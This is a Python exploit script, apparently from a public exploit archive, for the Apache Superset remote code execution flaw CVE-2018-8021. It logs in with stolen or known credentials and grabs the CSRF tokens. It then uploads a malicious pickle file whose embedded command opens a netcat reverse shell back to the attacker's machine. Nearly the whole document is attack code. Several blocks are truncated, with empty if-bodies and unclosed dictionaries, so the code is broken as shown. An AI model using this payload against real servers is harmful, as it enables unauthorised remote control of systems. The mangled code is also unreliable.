Apache Superset < 0.23 - Remote Code Execution







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# Exploit Title: Apache Superset < 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May (david.may@semanticbits.com)
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021

# I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.

#!/usr/bin/env python

import sys
import os
from lxml import html
import requests

# Change these values to your TCP listener
myIP = ''
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'

# Logic in case script arguments are not given
if len(sys.argv) < 3:
	print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
	print('Script Usage:')
	print('./supersetrce.py <superset server ip> <superset port>')
	# Script arguments
	supersetIP = sys.argv[1]
	supersetPort = sys.argv[2]
	# Verify these URLs match your environment
	login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
	upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
	# Checks to see if file that we are going to write already exists in case this is run more than once
	if os.path.isfile('evil.pickle'):
	# Headers that we append to our POST requests
	headers_dict = {
		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
		'DNT': '1',
		'Connection': 'close',
		'Upgrade-Insecure-Requests': '1',
	# Creates evil pickle file and writes the reverse shell to it
	evilPickle = open('evil.pickle','w+')
	evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
	# Start a session so we have persistent cookies
	session = requests.session()	
	# Grabs the Login page to parse it for its CSRF token
	login_page = session.get(login_URL)
	if login_page.status_code != 200:
		print('Login page not reached, verify URLs in script')
	login_tree = html.fromstring(login_page.content)
	csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
	# Form data that is sent in the POST request to Login page
	login_data = {
		'csrf_token' : csrf_token,
		'username' : username,
		'password' : password,
	# Adds the Referer header for the login page
	headers_dict['Referer'] = login_URL
	# Logon action
	login = session.post(login_URL, headers=headers_dict, data=login_data)	
	# Grabs the Upload page to parse it for its CSRF token
	upload_page = session.get(upload_URL)
	if upload_page.status_code != 200:
		print('Upload page not reached, verify credentials and URLs in script')
	upload_tree = html.fromstring(upload_page.content)
	csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
	# Adds the Referer header for the Upload page
	headers_dict['Referer'] = upload_URL
	# Upload action
	upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
	# Closes the session